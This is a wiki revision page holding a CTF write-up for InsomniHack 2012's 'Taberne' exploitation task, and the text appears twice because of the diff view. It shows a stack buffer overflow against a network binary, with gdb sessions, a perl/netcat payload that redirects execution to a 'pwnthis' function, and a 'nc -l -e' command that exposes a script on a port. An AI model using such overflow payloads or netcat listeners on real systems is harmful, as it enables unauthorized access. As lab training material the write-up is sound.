Difference between revisions of "InsomniHack-2012/Exploitation/3 Taberne"
Line 1: | Line 1: | ||
We downloaded a file called "toto", | We downloaded a file called "toto", | ||
− | < | + | <syntaxhighlight lang="bash"> |
# file toto | # file toto | ||
toto: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped | toto: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped | ||
Line 42: | Line 42: | ||
# ./toto 1234 | # ./toto 1234 | ||
− | </ | + | </syntaxhighlight> |
On a client, we get: | On a client, we get: | ||
− | < | + | <syntaxhighlight lang="bash"> |
> nc 172.16.199.131 1234 | > nc 172.16.199.131 1234 | ||
Adieu l'ami, dis-voir c'que c'est ton mot de passe: blabla | Adieu l'ami, dis-voir c'que c'est ton mot de passe: blabla | ||
De dieu, tu t'en souviens pas? C'est balot! | De dieu, tu t'en souviens pas? C'est balot! | ||
− | </ | + | </syntaxhighlight> |
It's an exploitation, so on the server, we debug the program (it forks, to we follow the child): | It's an exploitation, so on the server, we debug the program (it forks, to we follow the child): | ||
− | < | + | <syntaxhighlight lang="bash"> |
# gdb -q ./toto | # gdb -q ./toto | ||
(gdb) set follow-fork-mode child | (gdb) set follow-fork-mode child | ||
Line 58: | Line 58: | ||
(gdb) r 1234 | (gdb) r 1234 | ||
Starting program: /root/toto 1234 | Starting program: /root/toto 1234 | ||
− | </ | + | </syntaxhighlight> |
On the client, let's do: | On the client, let's do: | ||
− | < | + | <syntaxhighlight lang="bash"> |
> echo `perl -e 'print "A"x24 '`| nc 172.16.199.131 1234 | > echo `perl -e 'print "A"x24 '`| nc 172.16.199.131 1234 | ||
Adieu l'ami, dis-voir c'que c'est ton mot de passe: | Adieu l'ami, dis-voir c'que c'est ton mot de passe: | ||
− | </ | + | </syntaxhighlight> |
And the server segfaults: | And the server segfaults: | ||
− | < | + | <syntaxhighlight lang="bash"> |
Program received signal SIGSEGV, Segmentation fault. | Program received signal SIGSEGV, Segmentation fault. | ||
[Switching to process 1962] | [Switching to process 1962] | ||
0x41414141 in ?? () | 0x41414141 in ?? () | ||
− | </ | + | </syntaxhighlight> |
The backtrace is definitely screwed, so we just have a quick look: | The backtrace is definitely screwed, so we just have a quick look: | ||
− | < | + | <syntaxhighlight lang="asm"> |
0804888c <checkPass>: | 0804888c <checkPass>: | ||
Line 88: | Line 88: | ||
80488ac: c9 leave | 80488ac: c9 leave | ||
80488ad: c3 ret | 80488ad: c3 ret | ||
− | </ | + | </syntaxhighlight> |
We shipped 24 bytes, so we wrote the return address. Let break on the ret of checkPass: | We shipped 24 bytes, so we wrote the return address. Let break on the ret of checkPass: | ||
− | < | + | <syntaxhighlight lang="asm"> |
(gdb) b *0x80488ad | (gdb) b *0x80488ad | ||
Breakpoint 1 at 0x80488ad | Breakpoint 1 at 0x80488ad | ||
Line 105: | Line 105: | ||
0xbfe019cc: 0xb5df0002 0x01c710ac 0x00000000 0x00000000 | 0xbfe019cc: 0xb5df0002 0x01c710ac 0x00000000 0x00000000 | ||
0xbfe019dc: 0xd4040002 0x00000000 0x00000000 0x00000000 | 0xbfe019dc: 0xd4040002 0x00000000 0x00000000 0x00000000 | ||
− | </ | + | </syntaxhighlight> |
So we rewrote with 0x41414141. What to put here ? | So we rewrote with 0x41414141. What to put here ? | ||
By having a very quick look at the binary, there is an interesting function called pwnthis: | By having a very quick look at the binary, there is an interesting function called pwnthis: | ||
− | < | + | <syntaxhighlight lang="asm"> |
(gdb) disassemble pwnthis | (gdb) disassemble pwnthis | ||
Dump of assembler code for function pwnthis: | Dump of assembler code for function pwnthis: | ||
Line 149: | Line 149: | ||
0x0804888b <pwnthis+156>: ret | 0x0804888b <pwnthis+156>: ret | ||
− | </ | + | </syntaxhighlight> |
Line 155: | Line 155: | ||
So we are going to write the address to return there and break before the system to see the content: | So we are going to write the address to return there and break before the system to see the content: | ||
− | < | + | <syntaxhighlight lang="bash"> |
> echo `perl -e 'print "A"x20 . "\xef\x87\x04\x08" , "AAAA" . "CCCC" '`| nc 172.16.199.131 1234 | > echo `perl -e 'print "A"x20 . "\xef\x87\x04\x08" , "AAAA" . "CCCC" '`| nc 172.16.199.131 1234 | ||
Adieu l'ami, dis-voir c'que c'est ton mot de passe: | Adieu l'ami, dis-voir c'que c'est ton mot de passe: | ||
− | </ | + | </syntaxhighlight> |
And on the server side: | And on the server side: | ||
− | < | + | <syntaxhighlight lang="bash"> |
Breakpoint 2, 0x0804887e in pwnthis () | Breakpoint 2, 0x0804887e in pwnthis () | ||
(gdb) x /wx $esp | (gdb) x /wx $esp | ||
Line 166: | Line 166: | ||
(gdb) x /s 0xbf9e3c83 | (gdb) x /s 0xbf9e3c83 | ||
0xbf9e3c83: "nc -l -e /tmp/showpass.sh -p 1128 | 0xbf9e3c83: "nc -l -e /tmp/showpass.sh -p 1128 | ||
− | </ | + | </syntaxhighlight> |
Amazing, it's gonna open a local port on 1128. You can modify the port, since it's part of the buffer you write | Amazing, it's gonna open a local port on 1128. You can modify the port, since it's part of the buffer you write | ||
So now, we just need to connect to the remote port to execute the showpass.sh. The server was dead, validation was not possible. | So now, we just need to connect to the remote port to execute the showpass.sh. The server was dead, validation was not possible. | ||
− | < | + | <syntaxhighlight lang="bash"> |
> nc 172.16.199.131 1128 | > nc 172.16.199.131 1128 | ||
− | </ | + | </syntaxhighlight> |
Revision as of 22:22, 5 March 2012
We downloaded a file called "toto",
# file toto toto: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped # strings toto /lib/ld-linux.so.2 __gmon_start__ libc.so.6 _IO_stdin_used socket exit htons perror fork listen strlen bind read memcpy strcat bzero system atoi close accept __libc_start_main write snprintf GLIBC_2.0 PTRh@ [^_] ERROR writing to socket nc -l -e /tmp/showpass.sh -p ERROR opening socket ERROR on binding ERROR on accept Error on fork Adieu l'ami, dis-voir c'que c'est ton mot de passe: De dieu, tu t'en souviens pas? C'est balot! # ./toto 1234
On a client, we get:
> nc 172.16.199.131 1234 Adieu l'ami, dis-voir c'que c'est ton mot de passe: blabla De dieu, tu t'en souviens pas? C'est balot!
It's an exploitation, so on the server, we debug the program (it forks, to we follow the child):
# gdb -q ./toto (gdb) set follow-fork-mode child (gdb) set disassembly-flavor intel (gdb) r 1234 Starting program: /root/toto 1234
On the client, let's do:
> echo `perl -e 'print "A"x24 '`| nc 172.16.199.131 1234 Adieu l'ami, dis-voir c'que c'est ton mot de passe:
And the server segfaults:
Program received signal SIGSEGV, Segmentation fault. [Switching to process 1962] 0x41414141 in ?? ()
The backtrace is definitely screwed, so we just have a quick look:
0804888c <checkPass>: 804888c: 55 push ebp 804888d: 89 e5 mov ebp,esp 804888f: 83 ec 28 sub esp,0x28 8048892: c7 44 24 08 20 00 00 mov DWORD PTR [esp+0x8],0x20 <------ 8048899: 00 804889a: 8d 45 f0 lea eax,[ebp-0x10] 804889d: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 80488a1: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 80488a4: 89 04 24 mov DWORD PTR [esp],eax 80488a7: e8 48 fd ff ff call 80485f4 <read@plt> 80488ac: c9 leave 80488ad: c3 ret
We shipped 24 bytes, so we wrote the return address. Let break on the ret of checkPass:
(gdb) b *0x80488ad Breakpoint 1 at 0x80488ad (gdb) b *0x80488ad Breakpoint 1 at 0x80488ad (gdb) c Breakpoint 1, 0x080488ad in checkPass () Current language: auto; currently asm (gdb) x /16wx $esp 0xbfe019ac: 0x41414141 0x0000000a 0x00000007 0xbfe01afc 0xbfe019bc: 0xb7f02ff4 0xb7ee6b0c 0x00000001 0xbfe01a44 0xbfe019cc: 0xb5df0002 0x01c710ac 0x00000000 0x00000000 0xbfe019dc: 0xd4040002 0x00000000 0x00000000 0x00000000
So we rewrote with 0x41414141. What to put here ? By having a very quick look at the binary, there is an interesting function called pwnthis:
(gdb) disassemble pwnthis Dump of assembler code for function pwnthis: 0x080487ef <pwnthis+0>: push ebp 0x080487f0 <pwnthis+1>: mov ebp,esp 0x080487f2 <pwnthis+3>: push ebx 0x080487f3 <pwnthis+4>: sub esp,0x124 0x080487f9 <pwnthis+10>: mov eax,DWORD PTR [ebp+0x8] 0x080487fc <pwnthis+13>: mov DWORD PTR [esp+0xc],eax 0x08048800 <pwnthis+17>: mov DWORD PTR [esp+0x8],0x8048b18 0x08048808 <pwnthis+25>: mov DWORD PTR [esp+0x4],0x5 0x08048810 <pwnthis+33>: lea eax,[ebp-0x9] 0x08048813 <pwnthis+36>: mov DWORD PTR [esp],eax 0x08048816 <pwnthis+39>: call 0x80486b4 <snprintf@plt> 0x0804881b <pwnthis+44>: mov DWORD PTR [esp+0x4],0x100 0x08048823 <pwnthis+52>: lea eax,[ebp-0x109] 0x08048829 <pwnthis+58>: mov DWORD PTR [esp],eax 0x0804882c <pwnthis+61>: call 0x80486a4 <bzero@plt> 0x08048831 <pwnthis+66>: mov DWORD PTR [esp+0x8],0x1e 0x08048839 <pwnthis+74>: mov DWORD PTR [esp+0x4],0x8048b1b 0x08048841 <pwnthis+82>: lea ebx,[ebp-0x109] 0x08048847 <pwnthis+88>: lea eax,[ebp-0x109] 0x0804884d <pwnthis+94>: mov DWORD PTR [esp],eax 0x08048850 <pwnthis+97>: call 0x8048644 <strlen@plt> 0x08048855 <pwnthis+102>: lea eax,[ebx+eax*1] 0x08048858 <pwnthis+105>: mov DWORD PTR [esp],eax 0x0804885b <pwnthis+108>: call 0x8048634 <memcpy@plt> 0x08048860 <pwnthis+113>: lea eax,[ebp-0x9] 0x08048863 <pwnthis+116>: mov DWORD PTR [esp+0x4],eax 0x08048867 <pwnthis+120>: lea eax,[ebp-0x109] 0x0804886d <pwnthis+126>: mov DWORD PTR [esp],eax 0x08048870 <pwnthis+129>: call 0x8048684 <strcat@plt> 0x08048875 <pwnthis+134>: lea eax,[ebp-0x109] 0x0804887b <pwnthis+140>: mov DWORD PTR [esp],eax 0x0804887e <pwnthis+143>: call 0x80485a4 <system@plt> 0x08048883 <pwnthis+148>: add esp,0x124 0x08048889 <pwnthis+154>: pop ebx 0x0804888a <pwnthis+155>: pop ebp 0x0804888b <pwnthis+156>: ret
So we are going to write the address to return there and break before the system to see the content:
> echo `perl -e 'print "A"x20 . "\xef\x87\x04\x08" , "AAAA" . "CCCC" '`| nc 172.16.199.131 1234 Adieu l'ami, dis-voir c'que c'est ton mot de passe:
And on the server side:
Breakpoint 2, 0x0804887e in pwnthis () (gdb) x /wx $esp 0xbf9e3c64: 0xbf9e3c83 (gdb) x /s 0xbf9e3c83 0xbf9e3c83: "nc -l -e /tmp/showpass.sh -p 1128
Amazing, it's gonna open a local port on 1128. You can modify the port, since it's part of the buffer you write
So now, we just need to connect to the remote port to execute the showpass.sh. The server was dead, validation was not possible.
> nc 172.16.199.131 1128